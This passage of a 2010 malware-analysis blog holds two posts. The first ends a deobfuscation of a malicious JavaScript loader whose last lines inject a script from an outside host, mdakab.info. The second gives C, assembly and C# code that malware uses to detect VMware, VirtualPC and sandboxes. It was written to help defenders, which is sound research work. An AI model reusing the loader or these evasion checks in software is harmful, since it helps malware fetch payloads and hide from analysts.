  19.                 if (!(W118_aA4eh4O = navigator.browserLanguage)) {
  20.                         W118_aA4eh4O = navigator.language;
  21.                 }
  22.         }
  23. }
  24. if (W118_aA4eh4O) {
  25.         W118_aA4eh4O = W118_aA4eh4O.substr(0, 10);
  26.         var QS743__js_4 = "";
  27.         for (var H4_p__kQ4 = 0; H4_p__kQ4 < W118_aA4eh4O.length; H4_p__kQ4++) {
  28.                 var DL___q0_RU54_T = W118_aA4eh4O.charCodeAt(H4_p__kQ4).toString(16);
  29.                 if (DL___q0_RU54_T < 2) QS743__js_4 += "0";
  30.                 QS743__js_4 += DL___q0_RU54_T;
  31.         }
  32.         while (QS743__js_4.length < 20) {
  33.                 QS743__js_4 += "00";
  34.         }
  35.         RihOuI_7K += "L" + QS743__js_4;
  36. }
  37. var f_Ha0lc_a_1_P = document.createElement("script");
  38. f_Ha0lc_a_1_P.setAttribute("type", "text/javascript");
  39. f_Ha0lc_a_1_P.setAttribute("src", "http://mdakab.info/cgi-bin/guest/y002106R09007318X86487362Ycd32e585Z0100f060" + RihOuI_7K);
  40. document.body.appendChild(f_Ha0lc_a_1_P);


And here is the raw text of the javascript if you would like to download it and analyze it using the same techniques): http://pastebin.com/raw.php?i=vPeBF37r

Important note!!

Although the URL in line #39 is displayed in-tact above, when debugging please remove the string “mdakab.info” to prevent the network activity from taking place accidently (and executing logic you can’t yet debug easily).

Back to the network activity


So we just took a VERY deep dive into javascript reverse engineering. If you look at the follow-on data in this session, we could explain why it happened based on what we just did.

But... Did the work we just do seem like a waste of time? I mean, the activity is in the network traffic, so we can just examine the behavior of the javascript based on what happened after the client got it.

That’s entirely true! If you reverse JS like this every time you see it, that is an enormous waste of time. However, the next post in this series will focus on the PDF file the javascript in this session eventually grabs and executes. There will be JS inside of there and we’ll need to know how to reverse it, so this post is really just the basis for the next in this series.

At this point we also have a domain name from the embedded JS we can use to do the type of internet research shown at the bottom of the first post in this series. We’ll expand that line of analysis in further posts in this series also…

Gary Golomb

Thursday, December 16, 2010

VM Detection by In-The-Wild Malware

Note: This is a reprint of a posting I made for my company, NetWitness (www.netwitness.com). This is unchanged from the original, however that copy can be found at: http://www.networkforensics.com/2010/12/13/vm-detection-by-in-the-wild-malware/

Motivation


A large number of security researchers use Virtual Machines when analyzing malware and/or setting up both active and passive honeynets. There a numerous reasons for this, including: scalability, manageability, configuration and state snapshots, ability to run diverse operating systems, etc..

Malware that attempts to detect if it’s running in a Virtual Machine (then change its behavior accordingly to prevent analysis by security people) is not a subject of academic fancy. A recent search of VirusTotal showed they receive at least 1,000 unique samples a week with VM detection capabilities. (This search was performed by searching for known function import names from non-standard DLLs.) Personally, my first encounter with malware that behaved completely differently inside a Virtual Machine (from a real host) was approximately eight years ago.

VM detection does not apply just to the realm of APT-level malware. Agobot/Gaobot/PhatBot  is a family of massively deployed malware first released in 2004 with the ability to detect if running in either VMware or VirtualPC and changes its behavior accordingly. Considering just this example of how old and low-entry malware (with such a massive deployment) performs these actions, our attention to this subject should be especially keen.

Notes


  1. This post contains a number of techniques for VM detection used by malware, along with code demonstrating how simple these techniques are to implement. Except where noted, all techniques are currently used in the wild.

  1. Most of this post (but not all!) is a summary of other people’s work, not mine – except where noted. References are given and should be accurate. If not, email me and I’ll correct.
  2. Examples where simple code samples could not be produced will not be considered here.
  3. Only techniques that are difficult to mitigate are examined here. I’m sure there are hundreds of other ways to detect VM’s. Of the methods I’m familiar with, these were the ones that stood out in my mind as being difficult to fight.

Types of Virtual Machines


Generally speaking, there are three types of Virtual Machines. They are:
  1. Hardware Assisted – aka: Hypervisors – These VM’s use processor-specific instructions to cause the Host OS to [in effect] “fork,” where the original copy of the OS stays in a suspended state while the newly spawned “Guest copy” continues to run as if nothing happened. The important thing to keep in mind relative to this topic is that when the Guest executes machine level instructions, the actual hardware CPU is used to execute those instructions.
  2. Reduced Privilege – These are the VM’s most people are familiar with and use regularly. Here, the Host takes more of an active “proxy” role for the Guest by virtualizing important data structures and registers, then performing some level of translation services for some machine level instructions. Relative to this topic, the important thing to note here is that the guest – in effect – runs at a lower privilege than if it was truly controlling the CPU.
  3. Pure Software – Software VM’s act as full proxies to the CPU by implementing a truly virtual CPU the Guest interacts with.

Hypervisors (Hardware Assisted VMs)


Xen > 3.x and Virtual Server 2005 are a couple examples of Hardware assisted virtual machines.
Low-level detection of being virtualized in one of these environments is extremely difficult. Many people still call it impossible. While several people have talked publically about proof of concept code developed to detect these environments for years, none has been released or found in wild (that I’m aware of). Because of this, I will not talk about hypervisors any further than describing why detection is so difficult. (Since we have no code to examine how simple it is – the point of this post.)
A Hypervisor “guest” can be launched at any point after the OS has loaded. In preparation for launching a guest copy of the OS, the “host” sets up some basic CPU-specific control structures, then uses a single instruction (opcode) to cause the CPU to place the Host OS in a virtualized state while the Guest is basically a “forked copy” of the originally running OS. Once a Hypervisor has started running, the Guest OS basically has zero knowledge of this fact since all access to hardware is direct access. While the access to hardware is direct, the Hypervisor VM itself still has the ability to intercept interesting events – even before the Host OS has seen them. In this effect, a hypervisor VM is more powerful than both the Host and Guest OS’s because it sees everything before either of them.  Also, once a hypervisor is running, no others can become active. The first hypervisor VM has absolute control.

All methods for detecting the presence of Hypervisors depend on timing functions, however they are only useful techniques in theory because of the infeasibility of creating a good baseline to compare timing results to in order to make a pass/fail decision. Another technique uses context switching to cause Translation Lookaside Buffers filled with a predetermined pattern of data to get flushed when a hypervisor is running. Describing the technique is far beyond the scope of this paper since there is no exploit code to examine, but… Based on my understanding of the following article, I’m not sure the technique is so relevant anymore anyways. http://download.intel.com/technology/itj/2006/v10i3/v10-i3-art01.pdf

VMware


The non-ESX versions of VMware are reduced privilege VMs, and because of that are trivial to detect. Because critical data structures setup by the Operating System in critical regions of memory during OS start-up are already in use by the Host OS, VMware must relocate virtual copies of them for use by the Guest OS. This fact alone presents several powerful opportunities to detect when running inside a VMware image.

The first example simply checks the base address of the Interrupt Descriptor Table, as shown below. If then IDT is at a location much higher than its normal location, the process is likely inside a VM. This technique is generally attributed to Joanna Rutkowska , and is described here.
Code:

Data provided by Pastebin.com - Download Raw
  1. void detectVMwareIDT (void)
  2. {
  3.         unsigned char idtr[6];
  4.         unsigned long idt_base = 0;
  5.  
  6.         _asm sidt idtr
  7.  
  8.         idt_base = *((unsigned long *)&idtr[2]);
  9.  
  10.         if ((idt_base >> 24) == 0xff)
  11.         {
  12.                 printf ("IDT at high relocation – inside VM ");
  13.         }
  14.  
  15.         else
  16.         {
  17.                 printf ("IDT at a normal location ");
  18.         }
  19. }
  In the above example, line #6 is the single line of assembly it takes to get the base address of the IDT, which is then tested a couple lines below that. SIDT is an instruction that stores the contents of the interrupt descriptor table register (IDTR) in the destination operand. It’s important to note this instruction is an unprivileged instruction that can be executed at any privilege level. However, according to the paper, “Detecting the Presence of Virtual Machines Using the Local Data Table,” verifying the IDT on multi-processor systems will fail when there is an IDT for each microprocessor.

If that detection technique wasn’t simple enough, the next one is. VMware builds the Local Descriptor Table in memory, however Windows does not. Therefore, simply checking for a non-zero address for the LDT when running in Windows is enough to identify VMware.

Data provided by Pastebin.com - Download Raw
  1. void detectVMwareLDT (void)
  2. {
  3.         unsigned char  ldtr[4] = {'0xef', '0xbe', '0xad', '0xde'};
  4.         unsigned long  ldt_base  = 0;
  5.  
  6.         _asm sldt ldtr
  7.  
  8.         ldt_base = *((unsigned long *)&ldtr[0]);
  9.  
  10.         if (ldt_base == 0xdead0000)
  11.         {
  12.                 printf ("LDT at normal offset ");
  13.         }
  14.  
  15.         else
  16.         {
  17.                 printf ("LDT found: inside VMware ");
  18.         }
  19. }
On line #6, SLDT is the assembly instruction to store the segment selector from the local descriptor table register (LDTR) in the destination operand. It’s important to note this instruction is also an unprivileged instruction that can be executed at any privilege level!

Another interesting feature of VMware is seen when executing the IN instruction from user-land of common OSs like Linux, Windows, etc (and more accurately, when executing this instruction in ring3). IN is the “Input from Port” instruction. It copies the value from the I/O port specified with the source operand to the destination operand.  The IN instruction is a privileged instruction which cannot be run from ring3 (user-land), therefore when executed, an exception should be thrown. However, when VMware is running, no exception is generated if a special input port is specified. That port is “0×5658,” aka: “VX.” This technique is described in much more detail in the original posting here.

Example code is below, with comments added to explain each step.

Data provided by Pastebin.com - Download Raw
  1. void detectVMwareINcmd (void)
  2. {
  3.   unsigned int a, b;
  4.  
  5.   __try
  6.   {
  7.     __asm
  8.     {
  9.  
  10.         // standard stack setup, nothing special
  11.         push eax  
  12.         push ebx
  13.         push ecx
  14.         push edx
  15.  
  16.         // first, push the value "VMXh" into EAX. If the IN command
  17.         // is successful (meaning we're in VMware), this fingerprint
  18.         // will be placed into the EBX register by VMware.
  19.         mov eax, 'VMXh'
  20.        
  21.         // ECX stores the VMware "backdoor" command we're trying
  22.         // to issue. 0x0a is one of several commands. This one gets
  23.         // the version of VMware running.
  24.         mov ecx, 0Ah
  25.  
  26.         // This is the input operand to the IN instruction and must
  27.         // be "VX" to activate this "backdoor" feature.
  28.         mov dx, 'VX'
  29.  
  30.         // Key instruction is issued
  31.         in eax, dx
  32.  
  33.         // If we got here, then we're in VMware, since an exception
  34.         // would have been thrown otherwise.
  35.         mov a, ebx
  36.         mov b, ecx
  37.  
  38.         // standard stack tear down, nothing special
  39.         pop edx
  40.         pop ecx
  41.         pop ebx
  42.         pop eax
  43.     }
  44.   }
  45.   __except (EXCEPTION_EXECUTE_HANDLER) {}
  46.  
  47.   // if the fingerprint was pushed into the EBX register,
  48.   // we can check the results
  49.   if (a == 'VMXh')
  50.   {
  51.     printf ("VMware found. Version is: ");
  52.  
  53.     // the ECX register actually received the version code, tested next:
  54.     if (b == 1)
  55.       printf ("Express ");
  56.     else if (b == 2)
  57.       printf ("ESX ");
  58.     else if (b == 3)
  59.       printf ("GSX ");
  60.     else if (b == 4)
  61.       printf ("Workstation ");
  62.     else
  63.       printf ("some other version ");
  64.   }
  65.   else
  66.   {
  67.     printf ("fingerprint never made it to EBX, not VMware ");
  68.   }
  69. }
Some people writing for SANS have said that disabling certain configuration option in VMware will defeat this type of detection mechanism. Unfortunately, the real IN instruction would never change any register other than EAX in the first place, so all the other register changes that take place when executing the instruction in VMware are still detectable. Other counter-measures have been proposed, however they are too unstable and unusable in the real world for us to consider here.

VirtualPC

  VirtualPC is also a reduced privilege VM, like non-ESX versions of VMware, and is just as trivial to detect. The IDT and LDT table structures tests described in the VMware section apply to VirtualPC as-is. In fact, those tests apply to all the big-name VMs that people are most familiar with in the Reduced Privilege category of VMs. VirtualPC has functionality similar to VMware’s use of the IN instruction, however it uses illegal instructions to trigger exceptions the kernel will catch. For example, issuing the following machine code would normally cause an exception because it’s an undefined opcode: 0F 3F 0A 00 But, with VirtualPC running, no exception is generated because this is part of VirtualPC’s guest to host communication protocol. Therefore, the code in the VMware example can simply be modified to issue this opcode, then test for a lack of exception. A more interesting feature of VirtualPC is its use of “buffered code emulation.” Buffered code emulation is the practice of copying an instruction from a Guest into a host-controlled buffer and executing it there, then returning the results to the Guest. As VirtualPC is intercepting every instruction and deciding what to return back to the caller, it will sometimes alter or craft its own results – as it does with the CPUID instruction. Normal values retuned are “GenuineIntel” and “AuthenticAMD.” With VirtualPC, the result is “ConnectixCPU.” But, I like this example of VirtualPC detection best since it uses the high-level and easy to use language, C#. Consider the following:

Data provided by Pastebin.com - Download Raw
  1.         private void VirtualPCviaWMI()
  2.         {
  3.             ManagementObjectSearcher objMOS =
  4.                 new ManagementObjectSearcher(
  5.                     "root\CIMV2", "SELECT * FROM  Win32_BaseBoard"
  6.                     );
  7.  
  8.             foreach (ManagementObject objManagemnet in objMOS.Get())
  9.             {
  10.                 if (objManagemnet.GetPropertyValue("Manufacturer").ToString() ==
  11.                     "Microsoft Corporation")
  12.                 {
  13.                     Console.WriteLine("VirtualPC detected");
  14.                 }
  15.             }
  16.         }
The above example pulls the manufacturer name of the motherboard and tests if it’s “Microsoft Corporation.” If it is, then VirtualPC has just been detected.

Software VMs


Examples software VMs include Bochs, Hydra, QEMU, Atlantis, and Norman Sandbox, among many others. Because software VMs try to fully emulate hardware, there are too many techniques to detect them to list here. Because it would be nearly impossible to implement every instruction and match the quirks each instruction has on different families of processors, most of the tests for Software VM’s revolve around testing some of the more arcane instructions.

Sandboxes


I personally love sandboxes because of the sheer volume of work they automate and standardization of data they return. I can’t even imagine life before they existed anymore! :-) However, we need to be realistic about the fact that most (but not all!) are trivial to detect, regardless of hardware platform. This doesn’t mean we should avoid them – it just means we need to ensure we’re compensating for that fact.

A technique I have not seen elsewhere and have used in my own “research” malware in the past is to check the DLLs that have been loaded into my program’s space. To use this technique, you must first create a “fingerprint” of the DLLs your program loads. This is easily accomplished with a couple lines of debug code after you have finished your program. The technique is easy and can be used even in high-level languages like C#. Consider the following:

Data provided by Pastebin.com - Download Raw
  1.         private bool iveBeenInjected()
  2.         {
  3.             bool retVal = false;
  4.  
  5.             Process pp = Process.GetCurrentProcess();
  6.             ProcessModuleCollection pma = pp.Modules;
  7.  
  8.             foreach (ProcessModule pm in pma)
  9.             {
  10.                 // checkName is a simple function that uses a switch() statement
  11.                 // to see if the name is in the “fingerprint” list of DLL's loaded
  12.                 // by my program. (In this case, it's 39 entries.)
  13.                 if (!checkName(pm.ModuleName) && (pm.ModuleName != pp.ProcessName))
  14.                 {
  15.                     retVal = true;
  16.  
  17.                     Console.WriteLine(
  18.                         pm.ModuleName +
  19.                         " is injected from " +
  20.                         pm.BaseAddress.ToString() +
  21.                         " file: " +
  22.                         pm.FileName);
  23.                 }
  24.             }
  25.  
  26.             return retVal;
  27.         }
bool checkName(string nameOfLoadedDLL) is a method that returns true if the dll mapped in the program’s process space is known to belong to the “fingerprint” of this program. If the dll mapped in is unknown to the program, then it returns false and the logic below is executed.

This simple function is enough to catch many sandboxes (again, not all of them), even if you’ve followed their best practices and rename their monitoring dll (typically injected into all new processes).  Other examples of sandbox detection include using the hook detection employed by numerous security programs to find malware (except in this case – used by malware to detect sandboxes), counting hooks, etc..

Unfortunately, in the case of sandboxes, malware doesn’t even need to go through all that trouble to defeat them. The only thing malware needs to do is ensure its persistence through a reboot, then wait for a reboot to take place. That alone is enough to defeat the analysis steps of most analysis!

Summary


In short, you have seen that while many people quibble over VM detection being as simple as looking for registry keys and mac addresses (all easily mitigated from a security perspective), VM detection is actually:
  1. Much easier than programmatically dealing with the registry
  2. Much harder [nearly impossible] to mitigate when behavior of hardware is the target of testing
  3. Happens on a massive scale in malware in the wild

While the use of Virtual Machines has many advantages for research purposes, their selection and limitations should be carefully weighed against your actual objectives.